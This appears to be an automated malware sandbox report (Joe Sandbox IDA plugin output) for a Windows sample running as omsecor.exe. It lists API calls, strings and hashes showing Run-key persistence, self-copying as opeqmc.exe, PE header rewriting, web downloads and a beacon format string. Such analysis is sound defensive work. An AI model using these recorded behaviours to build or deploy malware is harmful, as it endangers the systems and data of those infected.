Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction ID: c0dc46c0c87f7bc49602bd7d2efae9f565a6f52602c3eafe7569a8fa2f6b8eea
Opcode Fuzzy Hash: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction Fuzzy Hash: 3F118671D103199ECB10AFF5CC8899F7BB9BB45314B144A7AE161F71E0C778CA118B1A

Function 00409F2B Relevance: 7.5, APIs: 5, Instructions: 40windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409F5B
GetTickCount.KERNEL32 ref: 00409F5F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409F72
DispatchMessageW.USER32(?), ref: 00409F80
Sleep.KERNEL32(0000012C), ref: 00409F8D

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: 57f1528c1cf960ce56ea9ee11f0e0f6d2bf2bfe74b8bc540e63205e3b9b5f8f9
Instruction ID: 2f378a1af0056e794f94b22e0cd08b0b0b180d2e60cd5d2ebdc62f673b65dbb1
Opcode Fuzzy Hash: 57f1528c1cf960ce56ea9ee11f0e0f6d2bf2bfe74b8bc540e63205e3b9b5f8f9
Instruction Fuzzy Hash: D1F0C872D042149BD714B7F2DD09B7D76A89B45714F104A36F551F70D1CA7CCD148A58

Function 00407D61 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00414F68,00000000,00000000,00000000,UniqueNum,00000001), ref: 00407E09
WriteFile.KERNEL32(00000078,00000064,00000001,00000000), ref: 00407E20

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

UniqueNum, xrefs: 00407D86
x, xrefs: 00407DEF

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: File$CreateModuleNamePointerWrite
String ID: UniqueNum$x
API String ID: 594998759-2399716736
Opcode ID: 0d1cac2645660f3edc8ae4858b9aa10093ebf6a3be27c46c4cc389029dd9494e
Instruction ID: 8c5cde1ed6458afa5e70834db293a7f07ca8c6efd1b8e13f0da2095665a79c5a
Opcode Fuzzy Hash: 0d1cac2645660f3edc8ae4858b9aa10093ebf6a3be27c46c4cc389029dd9494e
Instruction Fuzzy Hash: F72129329002186BDF04AB74ED49DDF3B69EF44315F104636FA02E71E1E634D951C799

Function 00409445 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094A9
SysFreeString.OLEAUT32(?), ref: 004094AE

Strings

_blank, xrefs: 0040948E
an.yandex.ru/count, xrefs: 00409478

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: FreeString
String ID: _blank$an.yandex.ru/count
API String ID: 3341692771-25359924
Opcode ID: 4ab6eb577aae85ed23f24708000ea2df93b57f18851f250654f87edd31753785
Instruction ID: 1eacecae91598e8b756cf85833a4a3bbf756f1dfdfc5fa02fd6c22f827bf3b29
Opcode Fuzzy Hash: 4ab6eb577aae85ed23f24708000ea2df93b57f18851f250654f87edd31753785
Instruction Fuzzy Hash: 28015A35204114BBDB109FA6CD05D9B77A8EF85324724443BBC15E7291E779EE02CA69

Function 00407CD7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
GetCurrentDirectoryW.KERNEL32(00001000,?,?,00407E44,00000001,UniqueNum), ref: 00407D15
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

\merocz.xc6, xrefs: 00407D1B

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: File$CreateCurrentDirectoryModuleName
String ID: \merocz.xc6
API String ID: 3818821825-505599559
Opcode ID: 2f84b54d5be0d3dae659ee3f303fbd3ad06020502789306fc31ef9c8cba0b7e5
Instruction ID: bb9f2ddab4bab237696810683399403c99d26191ea9c434de7a02090ea9b9a12
Opcode Fuzzy Hash: 2f84b54d5be0d3dae659ee3f303fbd3ad06020502789306fc31ef9c8cba0b7e5
Instruction Fuzzy Hash: DA01A231904224ABE7309B569C49FEB77ADEF85710F00447FB505F20D1D6749A80CAAA

Function 00409808 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409868
SysAllocString.OLEAUT32(?), ref: 00409876

Strings

"URL", xrefs: 00409838
"encrypted", xrefs: 00409815

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: AllocString
String ID: "URL"$"encrypted"
API String ID: 2525500382-4151690107
Opcode ID: f6e867073f93e28a707ce71cee5b1d0d556dab41e30d3c647449298916898aec
Instruction ID: 961e294ab5ae80d7ab2f0271a6faa46f3ea3f555f1d55132cdad114d364c87da
Opcode Fuzzy Hash: f6e867073f93e28a707ce71cee5b1d0d556dab41e30d3c647449298916898aec
Instruction Fuzzy Hash: 62F0D671A0021DA7CF00AB69CC01FD637ECAB4438CF1484B6F904F32C1E974EA098B98

Function 0040978D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004097ED
SysAllocString.OLEAUT32(?), ref: 004097FB

Strings

"domain", xrefs: 004097BD
"url", xrefs: 0040979A

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: AllocString
String ID: "domain"$"url"
API String ID: 2525500382-2438671658
Opcode ID: 98133a6a8bfb7a18a2a86276567a63b94d588fd2e230135a268bf1c7eb2bd3b5
Instruction ID: 610bf4d9b2292206f8ef054453b19a236663fc5a2da35db14ea77673b97cd822
Opcode Fuzzy Hash: 98133a6a8bfb7a18a2a86276567a63b94d588fd2e230135a268bf1c7eb2bd3b5
Instruction Fuzzy Hash: 08F0A271A0021DA6CF41AAA9CC05FD637E8AB44348F1444B6F908F7281EA78EA188B94

Function 00409581 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

CharLowerW.USER32(?,?,?,?,?), ref: 004095A4
CharLowerW.USER32(?,?,?,?,?,?,?), ref: 004095D8
SysFreeString.OLEAUT32(?), ref: 00409608
SysFreeString.OLEAUT32(?), ref: 0040960D

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: CharFreeLowerString
String ID:
API String ID: 2335467167-0
Opcode ID: ff78d62f8bf35a608bc63f02c9c9fafbc1ea89148f156ec964e1e543baeabb3a
Instruction ID: 6911929459278785efe31e607170db17e103bee024a9a22ae291265c1613d99e
Opcode Fuzzy Hash: ff78d62f8bf35a608bc63f02c9c9fafbc1ea89148f156ec964e1e543baeabb3a
Instruction Fuzzy Hash: 20116D72D00108BBDB019F9ADC85B9E7BB8EF44305F1544BAE405F21A1D779AE409F44

Function 004072ED Relevance: 6.0, APIs: 4, Instructions: 42timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 004072F9
SystemTimeToFileTime.KERNEL32(?,?), ref: 00407337
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 00407341
__aulldiv.LIBCMT ref: 00407359

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: Time$System$File$__aulldiv
String ID:
API String ID: 3735792614-0
Opcode ID: fb9972a15ff1dd7e61217f7ff9a5823acba4978d5a12943579487cf22718de7c
Instruction ID: 0875687ad9f8fbdff1f190dbab39d4211c2ed1a8acd2afdabfbd9ccbaffc37b8
Opcode Fuzzy Hash: fb9972a15ff1dd7e61217f7ff9a5823acba4978d5a12943579487cf22718de7c
Instruction Fuzzy Hash: 83011A66D2022DAACF00DBE5DD44CEFB7BCFF44344B04051AE901B3210E7B5A648CBA9

Function 00406C77 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Internet Explorer,00000000,00000001,00000000), ref: 00406C91

Strings

SOFTWARE\Microsoft\Internet Explorer, xrefs: 00406C87
Build, xrefs: 00406CA6

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: Open
String ID: Build$SOFTWARE\Microsoft\Internet Explorer
API String ID: 71445658-938904094
Opcode ID: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction ID: 930cfdd3d9e2cf302383723a85cc45ac24d6ba1b6d45bcf7a76994dd36721e6e
Opcode Fuzzy Hash: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction Fuzzy Hash: FBE08672664218FAEF009B929C07FDA77ACDB00758F20086AF502F10C1DAB5F714D6AC

Analysis Process: omsecor.exePID: 1732, Parent PID: 3808COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	696
Total number of Limit Nodes:	13

Executed Functions

Function 0040ABD9 Relevance: 3.0, APIs: 2, Instructions: 26
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040AC20: RegOpenKeyExW.KERNEL32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

FindFirstFileW.KERNEL32(?,00000000), ref: 0040AC03
FindClose.KERNEL32(00000000), ref: 0040AC0F

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: FindOpen$CloseFileFirst
String ID:
API String ID: 3155378417-0
Opcode ID: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction ID: fa0310e4c65bbc590993533f650c85f5e3ee77ef27cd51fa1c8f473dbf319076
Opcode Fuzzy Hash: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction Fuzzy Hash: 5DE0D87160C7044BE220E7B49D0C967B3DCAB45325F000F36A9B6E20C0FA38D46A465F

Function 0040B346 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 153
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B36C
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B39D

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,00020006,00000000,?,?,00000400,?,?,?,0040B3BC,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run), ref: 00406A22

GetLastError.KERNEL32(00000004), ref: 0040B3CA
Sleep.KERNEL32(00002710), ref: 0040B3F7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B413
CopyFileW.KERNEL32(?,?,00000000), ref: 0040B435
ExitProcess.KERNEL32 ref: 0040B44D

Part of subcall function 0040AC20: RegOpenKeyExW.KERNEL32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

GetLastError.KERNEL32(00000004), ref: 0040B48D
GetLastError.KERNEL32(00000004), ref: 0040B49A
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 0040B4C7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B4D7
GetLastError.KERNEL32(00000004), ref: 0040B500

Strings

IueiOod, xrefs: 0040B3A8
/nomove, xrefs: 0040B4D9
opeqmc.exe, xrefs: 0040B36E
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040B3AD

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: File$ErrorLastModuleName$Open$CopyCreateEnvironmentExitExpandProcessSleepStrings
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$opeqmc.exe
API String ID: 3692109554-477663111
Opcode ID: 26fd06bcf747dc08a64e37c423eb7452492142a7ae799de64f6f1f7aeac1b0c0
Instruction ID: ccf8aad4361994264e72a39918ed7d53ff083e628d4a69ee62a5d407c68d8035
Opcode Fuzzy Hash: 26fd06bcf747dc08a64e37c423eb7452492142a7ae799de64f6f1f7aeac1b0c0
Instruction Fuzzy Hash: 8C4127719042186AE710B7A19D46FAB73ACEF04345F14447BBB05F11C2EB789A548AAF

Function 004075D4 Relevance: 22.6, APIs: 15, Instructions: 128
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000400), ref: 004075FC
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618
GetFileSize.KERNEL32(?,00000000), ref: 0040762E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407638
HeapAlloc.KERNEL32(00000000), ref: 0040763F
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00407660
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040767F
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 00407691
ReadFile.KERNEL32(?,?,00000040,?,00000000), ref: 004076A1
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 004076AF
ReadFile.KERNEL32(?,?,000000F8,?,00000000), ref: 004076C5
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 004076EF
WriteFile.KERNEL32(?,?,000000F8,?,00000000), ref: 00407705
CloseHandle.KERNEL32(?), ref: 00407714
CloseHandle.KERNEL32(?), ref: 00407719

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: File$PointerRead$CloseCreateHandleHeapWrite$AllocProcessSize
String ID:
API String ID: 1458499590-0
Opcode ID: 93e258daf756a991a400698467a0f3e6930ee28086f0462060147eb388563e29
Instruction ID: 7ae3b020874f099f6a4231377d147a855b3f50186be4225f3fece46b7b724b47
Opcode Fuzzy Hash: 93e258daf756a991a400698467a0f3e6930ee28086f0462060147eb388563e29
Instruction Fuzzy Hash: F0416A71901028BADB209BA2DD48EEFBF7DEF45390F104476F619F21A0D7709A10DB64

Function 00409C99 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 127
memorynetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenUrlW.WININET(?,hOA,?,00000000,04400000,00000000), ref: 00409CCB
GetProcessHeap.KERNEL32(00000000,00002001,?,?,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409CF4
HeapAlloc.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409CF7
InternetReadFile.WININET(?,?,00001000,?), ref: 00409D6E
GetProcessHeap.KERNEL32(00000000,00000002,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409D80
HeapAlloc.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409D83
GetProcessHeap.KERNEL32(00000000,00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409DE3
HeapFree.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409DE6

Strings

hOA, xrefs: 00409CC5

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: Heap$Process$AllocInternet$FileFreeOpenRead
String ID: hOA
API String ID: 1355009786-3485425990
Opcode ID: 786a5954c9ab5f0fe889d4d88a95b872a4b6a838963cd3095893ed4ca2eaaa4a
Instruction ID: 638041e7f74e2b46c75c1535d5ef76f15aa532bf5b3977fbb34850ab96fc5943
Opcode Fuzzy Hash: 786a5954c9ab5f0fe889d4d88a95b872a4b6a838963cd3095893ed4ca2eaaa4a
Instruction Fuzzy Hash: 1B418B71900209FFEB119F65C844BAA7BA9FF44355F14847AF819E6292E778CE80CF54

Function 00406E69 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00406E78

Strings

hOA, xrefs: 00406E7E
.html, xrefs: 00406F14
8@, xrefs: 00406ED2
0, xrefs: 00406EF5
Page generated at: , xrefs: 00407000
From: , xrefs: 00406F8E
Via: , xrefs: 00406FAF
^nocrypt, xrefs: 00406F5C
^key=, xrefs: 00406F2E

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: CountTick
String ID: .html$0$8@$From: $Page generated at: $Via: $^key=$^nocrypt$hOA
API String ID: 536389180-1762329985
Opcode ID: 114e4e40ed3da380897df1d948c25e04c4e8011c16955a8b70e5daac7b5a3a86
Instruction ID: 73e0daeea7a9f5f4b783dd0519eebdf5205f1bdf48cad4214514e0173d2ce6b9
Opcode Fuzzy Hash: 114e4e40ed3da380897df1d948c25e04c4e8011c16955a8b70e5daac7b5a3a86
Instruction Fuzzy Hash: 27416131A0161997CB25EBA2DC51BDE7369FF44308F0044BFB909B71C1EA78AE948F59

Function 0040A786 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 121
sleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00002710,00000000,00000000,00000000), ref: 0040A7A3
Sleep.KERNEL32(0000EA60,?,00000000,00000000,00000000), ref: 0040A899
Sleep.KERNEL32(00002710,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8CC
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8E5
HeapFree.KERNEL32(00000000,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8EC

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Strings

0, xrefs: 0040A848
confirm^rev=%s^code=%s^param=%s^os=%s, xrefs: 0040A7BA

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: Sleep$Heap$AttemptConnectFreeInternetProcess
String ID: 0$confirm^rev=%s^code=%s^param=%s^os=%s
API String ID: 3100629401-2436734164
Opcode ID: c622fb37aa2467ece8f64e14a3bc52ff303aefc1e596290383a82c184368ac36
Instruction ID: 7defdabbc875a2827947a9af70fbac2689cb4d570e6f2fffa55db425585f7fd8
Opcode Fuzzy Hash: c622fb37aa2467ece8f64e14a3bc52ff303aefc1e596290383a82c184368ac36
Instruction Fuzzy Hash: C0418372D00618AACB11EBE1DC859DF73BCEF44304F10847BF505B6181EA789A558F9E

Function 0040782A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000000,UniqueNum), ref: 0040784D
CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00407864
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 00407879
CloseHandle.KERNEL32(00000000), ref: 00407880
GetTickCount.KERNEL32 ref: 00407888

Strings

UniqueNum, xrefs: 00407836

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
